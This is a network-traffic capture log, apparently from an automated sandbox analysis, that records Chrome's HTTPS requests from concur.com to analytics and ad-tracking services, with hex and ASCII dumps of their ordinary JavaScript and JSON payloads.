console.info("Non-TTD actor initialized UID2 SDK, mind th
2024-10-03 08:41:45 UTC	1680	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 54 72 79 46 69 6e 64 54 6f 70 4d 6f 73 74 52 65 66 65 72 72 65 72 28 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 76 61 72 20 63 75 72 72 65 6e 74 57 69 6e 64 6f 77 20 3d 20 77 69 6e 64 6f 77 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 72 65 66 65 72 72 65 72 54 72 61 63 65 20 3d 20 27 27 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 68 61 73 45 72 72 6f 72 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 74 72 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 41 63 63 65 73 73 69 6e 67 20 74 68 65 20 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 20 6c 6f 63 61 74 69 6f 6e 20 77 6f 75 6c 64 20 65 69 74 68 65 72 20 73 75 63 63 65 65 64 20 6f 72 20 66 61 69 6c 20 77 69 74 68 20 58 53 53 20 65 72 72 6f 72 2e 0a 20 20 20 20 20 20 20 20 Data Ascii: function TryFindTopMostReferrer() { var currentWindow = window; var referrerTrace = ''; var hasError = false; try { //Accessing the property of the location would either succeed or fail with XSS error.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50015	35.186.224.24	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:45 UTC	620	OUT	POST /v1/ingest HTTP/1.1 Host: pixels.spotify.com Connection: keep-alive Content-Length: 472 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.concur.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:45 UTC	472	OUT	Data Raw: 7b 22 62 61 74 63 68 22 3a 5b 7b 22 70 69 64 22 3a 22 63 64 61 30 39 62 65 37 61 36 63 65 34 31 66 32 61 64 65 62 37 65 30 30 39 39 36 66 34 66 36 61 22 2c 22 73 69 64 22 3a 22 61 36 32 31 65 38 64 64 39 61 38 32 34 36 38 62 39 37 65 65 34 36 32 32 63 61 39 38 66 63 61 61 22 2c 22 65 76 65 6e 74 73 22 3a 5b 7b 22 61 63 74 69 6f 6e 22 3a 22 76 69 65 77 22 2c 22 74 69 6d 65 22 3a 31 37 32 37 39 34 34 39 30 33 2e 36 39 32 2c 22 67 72 6f 75 70 22 3a 6e 75 6c 6c 2c 22 6c 61 62 65 6c 22 3a 6e 75 6c 6c 2c 22 65 78 70 65 72 69 6d 65 6e 74 22 3a 6e 75 6c 6c 2c 22 62 6f 64 79 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6e 63 75 72 2e 63 6f 6d 2f 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 69 6e 49 66 72 61 6d 65 22 3a 66 61 6c 73 Data Ascii: {"batch":[{"pid":"cda09be7a6ce41f2adeb7e00996f4f6a","sid":"a621e8dd9a82468b97ee4622ca98fcaa","events":[{"action":"view","time":1727944903.692,"group":null,"label":null,"experiment":null,"body":{"url":"https://www.concur.com/","referrer":"","inIframe":fals
2024-10-03 08:41:45 UTC	507	IN	HTTP/1.1 200 OK content-type: application/json grpc-encoding: identity grpc-accept-encoding: gzip,x-snappy-framed x-envoy-upstream-service-time: 1 grpc-status: 0 Content-Length: 52 date: Thu, 03 Oct 2024 08:41:45 GMT server: envoy strict-transport-security: max-age=31536000 x-content-type-options: nosniff vary: Accept-Encoding access-control-allow-origin: https://www.concur.com Via: HTTP/2 edgeproxy, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:45 UTC	52	IN	Data Raw: 7b 0a 20 22 72 65 73 70 6f 6e 73 65 22 3a 20 22 61 66 38 62 38 35 61 32 35 65 37 35 34 34 38 38 62 34 31 30 30 38 30 32 63 33 36 63 31 62 62 30 22 0a 7d 0a Data Ascii: { "response": "af8b85a25e754488b4100802c36c1bb0"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50017	172.64.151.101	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:45 UTC	695	OUT	GET /rum?cm_dsp_id=88&external_user_id=Zv5YvgAAAEmPUQN- HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=Zv5Yx9HM6CkAADy2AD.0EAAA; CMPS=489; CMPRO=489
2024-10-03 08:41:45 UTC	955	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:45 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8ccba28d7c0ac34f-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zv5Yx9HM6CkAADy2AD.0EAAA; Path=/; Domain=casalemedia.com; Expires=Fri, 03 Oct 2025 08:41:45 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=489; Path=/; Domain=casalemedia.com; Expires=Wed, 01 Jan 2025 08:41:45 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fzu956puBElgvL41LYtD95SfXki8ewkz1skpHcSurDvsII42LKAhUC8p6CkNknCEPNrHsbya%2FOd2BFYTCFXDm9fEkPx%2Buu%2F%2BWoZgfNf4hBxJNPhXofzAoQw2MlNPw5EaO1BBYHxAtfkh4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-10-03 08:41:45 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	50018	18.245.86.14	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:46 UTC	374	OUT	GET /include/1727945100000/7xzz4mtpike9.js HTTP/1.1 Host: js.driftt.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:46 UTC	973	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 226668 Connection: close Server: istio-envoy Date: Thu, 03 Oct 2024 08:41:46 GMT Last-Modified: Tue, 24 Sep 2024 17:33:41 GMT ETag: "f832ffabf78fe78b7d496fd5029e9a5a" x-amz-server-side-encryption: AES256 x-amz-version-id: niaeQgibZo8hMzsw.EaO8mU9srmtoti3 Accept-Ranges: bytes access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET, POST, OPTIONS access-control-allow-headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: no-cache x-envoy-upstream-service-time: 46 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 57bc54093a2e2c99ca194f2955ba3d1c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P6 X-Amz-Cf-Id: Ca5J-Z3-vX4awqDdCi0RcADB1LNOcRUX4xEhbFspVFXad7-dfZ5n4w==
2024-10-03 08:41:46 UTC	15411	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 77 65 62 70 61 63 6b 4a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 28 74 29 7b 66 6f 72 28 76 61 72 20 72 2c 6f 2c 69 3d 74 5b 30 5d 2c 73 3d 74 5b 31 5d 2c 63 3d 30 2c 75 3d 5b 5d 3b 63 3c 69 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 6f 3d 69 5b 63 5d 2c 6e 5b 6f 5d 26 26 75 2e 70 75 73 68 28 6e 5b 6f 5d 5b 30 5d 29 2c 6e 5b 6f 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 73 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 73 2c 72 29 26 26 28 65 5b 72 5d 3d 73 5b 72 5d 29 3b 66 6f 72 28 61 26 26 61 28 74 29 3b 75 2e 6c 65 6e 67 74 68 3b 29 75 2e 73 68 69 66 74 28 29 28 29 7d 76 61 72 20 74 3d 7b 7d 2c 6e 3d 7b 30 3a 30 7d 3b 66 75 6e 63 74 69 Data Ascii: !function(e){function webpackJsonpCallback(t){for(var r,o,i=t[0],s=t[1],c=0,u=[];c<i.length;c++)o=i[c],n[o]&&u.push(n[o][0]),n[o]=0;for(r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r]);for(a&&a(t);u.length;)u.shift()()}var t={},n={0:0};functi
2024-10-03 08:41:46 UTC	12386	IN	Data Raw: 22 74 22 3d 3d 3d 6e 2e 63 68 61 72 41 74 28 30 29 26 26 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6e 29 26 26 21 69 73 4e 61 4e 28 2b 6e 2e 73 6c 69 63 65 28 31 29 29 26 26 28 74 68 69 73 5b 6e 5d 3d 74 29 7d 2c 73 74 6f 70 3a 66 75 6e 63 74 69 6f 6e 20 73 74 6f 70 28 29 7b 74 68 69 73 2e 64 6f 6e 65 3d 21 30 3b 76 61 72 20 65 3d 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 5b 30 5d 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3b 69 66 28 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 74 79 70 65 29 74 68 72 6f 77 20 65 2e 61 72 67 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 76 61 6c 7d 2c 64 69 73 70 61 74 63 68 45 78 63 65 70 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 20 64 69 73 70 61 74 63 68 45 78 63 65 70 74 69 6f 6e 28 65 29 7b 69 66 28 74 68 69 73 2e 64 6f 6e 65 29 74 68 72 6f 77 Data Ascii: "t"===n.charAt(0)&&r.call(this,n)&&!isNaN(+n.slice(1))&&(this[n]=t)},stop:function stop(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function dispatchException(e){if(this.done)throw
2024-10-03 08:41:46 UTC	394	IN	Data Raw: 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 74 7d 29 7d 29 7d 2c 65 2e 74 69 6d 65 6f 75 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 69 66 28 74 68 69 73 2e 72 65 73 6f 6c 76 65 64 7c 7c 74 68 69 73 2e 72 65 6a 65 63 74 65 64 29 72 65 74 75 72 6e 20 74 68 69 73 3b 76 61 72 20 72 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 72 65 73 6f 6c 76 65 64 7c 7c 6e 2e 72 65 6a 65 63 74 65 64 7c 7c 6e 2e 72 65 6a 65 63 74 28 74 7c 7c 6e 65 77 20 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 20 74 69 6d 65 64 20 6f 75 74 20 61 66 74 65 72 20 22 2b 65 2b 22 6d 73 22 29 29 7d 2c 65 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 Data Ascii: ).then(function(){throw t})})},e.timeout=function(e,t){var n=this;if(this.resolved\|\|this.rejected)return this;var r=setTimeout(function(){n.resolved\|\|n.rejected\|\|n.reject(t\|\|new Error("Promise timed out after "+e+"ms"))},e);return this.then(function(e){re
2024-10-03 08:41:46 UTC	4096	IN	Data Raw: 65 2e 72 65 73 6f 6c 76 65 28 74 68 69 73 29 7d 2c 65 2e 6c 61 7a 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 72 72 6f 72 48 61 6e 64 6c 65 64 3d 21 30 2c 74 68 69 73 7d 2c 5a 61 6c 67 6f 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 5a 61 6c 67 6f 50 72 6f 6d 69 73 65 3f 65 3a 75 74 69 6c 73 5f 69 73 50 72 6f 6d 69 73 65 28 65 29 3f 6e 65 77 20 5a 61 6c 67 6f 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 74 68 65 6e 28 74 2c 6e 29 7d 29 3a 28 6e 65 77 20 5a 61 6c 67 6f 50 72 6f 6d 69 73 65 29 2e 72 65 73 6f 6c 76 65 28 65 29 7d 2c 5a 61 6c 67 6f 50 72 6f 6d 69 73 65 2e 72 65 6a Data Ascii: e.resolve(this)},e.lazy=function(){return this.errorHandled=!0,this},ZalgoPromise.resolve=function(e){return e instanceof ZalgoPromise?e:utils_isPromise(e)?new ZalgoPromise(function(t,n){return e.then(t,n)}):(new ZalgoPromise).resolve(e)},ZalgoPromise.rej
2024-10-03 08:41:46 UTC	16384	IN	Data Raw: 65 2e 67 65 74 4f 72 53 65 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 68 69 73 2e 68 61 73 28 65 29 29 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 28 65 29 3b 76 61 72 20 6e 3d 74 28 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 65 74 28 65 2c 6e 29 2c 6e 7d 2c 43 72 6f 73 73 44 6f 6d 61 69 6e 53 61 66 65 57 65 61 6b 4d 61 70 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 67 65 74 46 75 6e 63 74 69 6f 6e 4e 61 6d 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 7c 7c 65 2e 5f 5f 6e 61 6d 65 5f 5f 7c 7c 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 22 61 6e 6f 6e 79 6d 6f 75 73 22 7d 66 75 6e 63 74 69 6f 6e 20 73 65 74 46 75 6e 63 74 69 6f 6e 4e 61 6d 65 28 65 2c 74 29 7b 74 72 79 7b 64 65 6c 65 74 65 20 65 2e 6e 61 6d 65 2c 65 2e 6e 61 6d 65 Data Ascii: e.getOrSet=function(e,t){if(this.has(e))return this.get(e);var n=t();return this.set(e,n),n},CrossDomainSafeWeakMap}();function getFunctionName(e){return e.name\|\|e.__name__\|\|e.displayName\|\|"anonymous"}function setFunctionName(e,t){try{delete e.name,e.name
2024-10-03 08:41:46 UTC	16384	IN	Data Raw: 65 72 69 61 6c 69 7a 65 54 79 70 65 28 22 63 72 6f 73 73 5f 64 6f 6d 61 69 6e 5f 66 75 6e 63 74 69 6f 6e 22 2c 7b 69 64 3a 63 2c 6e 61 6d 65 3a 75 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 73 65 72 69 61 6c 69 7a 65 4d 65 73 73 61 67 65 28 65 2c 74 2c 6e 2c 72 29 7b 76 61 72 20 6f 2c 69 3d 72 2e 6f 6e 2c 61 3d 72 2e 73 65 6e 64 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 53 29 3b 76 61 72 20 6e 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 5b 65 5d 3b 69 66 28 69 73 53 65 72 69 61 6c 69 7a 65 64 54 79 70 65 28 74 68 69 73 29 29 72 65 74 75 72 6e 20 6e 3b 76 61 72 20 72 3d 64 65 74 65 72 6d 69 6e 65 54 79 70 65 28 6e 29 3b Data Ascii: erializeType("cross_domain_function",{id:c,name:u})}function serializeMessage(e,t,n,r){var o,i=r.on,a=r.send;return function(e,t){void 0===t&&(t=S);var n=JSON.stringify(e,function(e){var n=this[e];if(isSerializedType(this))return n;var r=determineType(n);
2024-10-03 08:41:46 UTC	16384	IN	Data Raw: 3d 65 7d 28 74 2e 6c 65 6e 67 74 68 29 3f 63 72 65 61 74 65 42 75 66 66 65 72 28 65 2c 30 29 3a 66 72 6f 6d 41 72 72 61 79 4c 69 6b 65 28 65 2c 74 29 3b 69 66 28 22 42 75 66 66 65 72 22 3d 3d 3d 74 2e 74 79 70 65 26 26 69 28 74 2e 64 61 74 61 29 29 72 65 74 75 72 6e 20 66 72 6f 6d 41 72 72 61 79 4c 69 6b 65 28 65 2c 74 2e 64 61 74 61 29 7d 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 6d 75 73 74 20 62 65 20 61 20 73 74 72 69 6e 67 2c 20 42 75 66 66 65 72 2c 20 41 72 72 61 79 42 75 66 66 65 72 2c 20 41 72 72 61 79 2c 20 6f 72 20 61 72 72 61 79 2d 6c 69 6b 65 20 6f 62 6a 65 63 74 2e 22 29 7d 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 73 73 65 72 74 53 69 7a 65 28 65 29 7b 69 66 28 22 6e 75 Data Ascii: =e}(t.length)?createBuffer(e,0):fromArrayLike(e,t);if("Buffer"===t.type&&i(t.data))return fromArrayLike(e,t.data)}throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.")}(e,t)}function assertSize(e){if("nu
2024-10-03 08:41:46 UTC	16384	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 2e 77 72 69 74 65 49 6e 74 42 45 3d 66 75 6e 63 74 69 6f 6e 20 77 72 69 74 65 49 6e 74 42 45 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 65 3d 2b 65 2c 74 7c 3d 30 2c 21 72 29 7b 76 61 72 20 6f 3d 4d 61 74 68 2e 70 6f 77 28 32 2c 38 2a 6e 2d 31 29 3b 63 68 65 63 6b 49 6e 74 28 74 68 69 73 2c 65 2c 74 2c 6e 2c 6f 2d 31 2c 2d 6f 29 7d 76 61 72 20 69 3d 6e 2d 31 2c 61 3d 31 2c 73 3d 30 3b 66 6f 72 28 74 68 69 73 5b 74 2b 69 5d 3d 32 35 35 26 65 3b 2d 2d 69 3e 3d 30 26 26 28 61 2a 3d 32 35 36 29 3b 29 65 3c 30 26 26 30 3d 3d 3d 73 26 26 30 21 3d 3d 74 68 69 73 5b 74 2b 69 2b 31 5d 26 26 28 73 3d 31 29 2c 74 68 69 73 5b 74 2b 69 5d 3d 28 65 2f 61 3e 3e 30 29 2d 73 26 32 35 35 3b 72 65 74 75 72 6e 20 74 2b 6e 7d 2c 42 75 66 66 65 72 2e 70 Data Ascii: prototype.writeIntBE=function writeIntBE(e,t,n,r){if(e=+e,t\|=0,!r){var o=Math.pow(2,8n-1);checkInt(this,e,t,n,o-1,-o)}var i=n-1,a=1,s=0;for(this[t+i]=255&e;--i>=0&&(a=256);)e<0&&0===s&&0!==this[t+i+1]&&(s=1),this[t+i]=(e/a>>0)-s&255;return t+n},Buffer.p
2024-10-03 08:41:46 UTC	1024	IN	Data Raw: 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 65 29 3b 76 61 72 20 74 3d 63 2e 69 6e 64 65 78 4f 66 28 65 29 3b 74 3e 3d 30 26 26 63 2e 73 70 6c 69 63 65 28 74 2c 31 29 7d 66 75 6e 63 74 69 6f 6e 20 63 72 65 61 74 65 53 74 79 6c 65 45 6c 65 6d 65 6e 74 28 65 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 74 79 6c 65 22 29 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 65 2e 61 74 74 72 73 2e 74 79 70 65 26 26 28 65 2e 61 74 74 72 73 2e 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 29 2c 76 6f 69 64 20 30 3d 3d 3d 65 2e 61 74 74 72 73 2e 6e 6f 6e 63 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 20 67 65 74 4e 6f 6e 63 65 28 29 7b 30 3b 72 65 74 75 72 6e 20 6e 2e 6e 63 7d 28 29 3b 72 26 26 28 65 2e Data Ascii: ntNode.removeChild(e);var t=c.indexOf(e);t>=0&&c.splice(t,1)}function createStyleElement(e){var t=document.createElement("style");if(void 0===e.attrs.type&&(e.attrs.type="text/css"),void 0===e.attrs.nonce){var r=function getNonce(){0;return n.nc}();r&&(e.
2024-10-03 08:41:46 UTC	16384	IN	Data Raw: 2e 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 2c 61 64 64 41 74 74 72 73 28 74 2c 65 2e 61 74 74 72 73 29 2c 69 6e 73 65 72 74 53 74 79 6c 65 45 6c 65 6d 65 6e 74 28 65 2c 74 29 2c 74 7d 28 74 29 2c 72 3d 66 75 6e 63 74 69 6f 6e 20 75 70 64 61 74 65 4c 69 6e 6b 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 6e 2e 63 73 73 2c 6f 3d 6e 2e 73 6f 75 72 63 65 4d 61 70 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 74 2e 63 6f 6e 76 65 72 74 54 6f 41 62 73 6f 6c 75 74 65 55 72 6c 73 26 26 6f 3b 28 74 2e 63 6f 6e 76 65 72 74 54 6f 41 62 73 6f 6c 75 74 65 55 72 6c 73 7c 7c 69 29 26 26 28 72 3d 75 28 72 29 29 3b 6f 26 26 28 72 2b 3d 22 5c 6e 2f 2a 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 64 61 74 61 3a 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 62 61 Data Ascii: .rel="stylesheet",addAttrs(t,e.attrs),insertStyleElement(e,t),t}(t),r=function updateLink(e,t,n){var r=n.css,o=n.sourceMap,i=void 0===t.convertToAbsoluteUrls&&o;(t.convertToAbsoluteUrls\|\|i)&&(r=u(r));o&&(r+="\n/*# sourceMappingURL=data:application/json;ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	50024	35.186.224.24	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:46 UTC	351	OUT	GET /v1/ingest HTTP/1.1 Host: pixels.spotify.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:46 UTC	286	IN	HTTP/1.1 404 Not Found date: Thu, 03 Oct 2024 08:41:46 GMT server: envoy Content-Length: 0 strict-transport-security: max-age=31536000 x-content-type-options: nosniff Via: HTTP/2 edgeproxy, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	50023	150.171.28.10	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:46 UTC	563	OUT	GET /bat.js HTTP/1.1 Host: bat.bing.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MUID=375E6F2E0D8F6B9C2CEB7C8E098F6DFE
2024-10-03 08:41:46 UTC	651	IN	HTTP/1.1 200 OK Cache-Control: private,max-age=1800 Content-Length: 50523 Content-Type: application/javascript Last-Modified: Thu, 19 Sep 2024 15:43:41 GMT Accept-Ranges: bytes ETag: "803483b3aaadb1:0" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: AAAC02B2B5DA46B3B02AC330919F86E7 Ref B: EWR30EDGE1112 Ref C: 2024-10-03T08:41:46Z Date: Thu, 03 Oct 2024 08:41:45 GMT Connection: close
2024-10-03 08:41:46 UTC	3672	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 55 45 54 28 6f 29 7b 74 68 69 73 2e 73 74 72 69 6e 67 45 78 69 73 74 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 26 26 6e 2e 6c 65 6e 67 74 68 3e 30 7d 3b 74 68 69 73 2e 64 6f 6d 61 69 6e 3d 22 62 61 74 2e 62 69 6e 67 2e 63 6f 6d 22 3b 74 68 69 73 2e 64 6f 6d 61 69 6e 43 6c 3d 22 62 61 74 2e 62 69 6e 67 2e 6e 65 74 22 3b 74 68 69 73 2e 55 52 4c 4c 45 4e 47 54 48 4c 49 4d 49 54 3d 34 30 39 36 3b 74 68 69 73 2e 70 61 67 65 4c 6f 61 64 45 76 74 3d 22 70 61 67 65 4c 6f 61 64 22 3b 74 68 69 73 2e 63 75 73 74 6f 6d 45 76 74 3d 22 63 75 73 74 6f 6d 22 3b 74 68 69 73 2e 70 61 67 65 56 69 65 77 45 76 74 3d 22 70 61 67 65 5f 76 69 65 77 22 3b 6f 2e 56 65 72 3d 6f 2e 56 65 72 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 Data Ascii: function UET(o){this.stringExists=function(n){return n&&n.length>0};this.domain="bat.bing.com";this.domainCl="bat.bing.net";this.URLLENGTHLIMIT=4096;this.pageLoadEvt="pageLoad";this.customEvt="custom";this.pageViewEvt="page_view";o.Ver=o.Ver!==undefined&&
2024-10-03 08:41:46 UTC	8192	IN	Data Raw: 22 2c 22 69 74 65 6d 73 22 5d 2c 62 65 67 69 6e 5f 63 68 65 63 6b 6f 75 74 3a 5b 22 72 65 76 65 6e 75 65 5f 76 61 6c 75 65 22 2c 22 63 75 72 72 65 6e 63 79 22 2c 22 69 74 65 6d 73 22 2c 22 63 6f 75 70 6f 6e 22 5d 2c 63 68 65 63 6b 6f 75 74 5f 70 72 6f 67 72 65 73 73 3a 5b 22 72 65 76 65 6e 75 65 5f 76 61 6c 75 65 22 2c 22 63 75 72 72 65 6e 63 79 22 2c 22 69 74 65 6d 73 22 2c 22 63 6f 75 70 6f 6e 22 2c 22 63 68 65 63 6b 6f 75 74 5f 73 74 65 70 22 2c 22 63 68 65 63 6b 6f 75 74 5f 6f 70 74 69 6f 6e 22 5d 2c 65 78 63 65 70 74 69 6f 6e 3a 5b 22 64 65 73 63 72 69 70 74 69 6f 6e 22 2c 22 66 61 74 61 6c 22 5d 2c 67 65 6e 65 72 61 74 65 5f 6c 65 61 64 3a 5b 22 72 65 76 65 6e 75 65 5f 76 61 6c 75 65 22 2c 22 63 75 72 72 65 6e 63 79 22 2c 22 74 72 61 6e 73 61 63 74 Data Ascii: 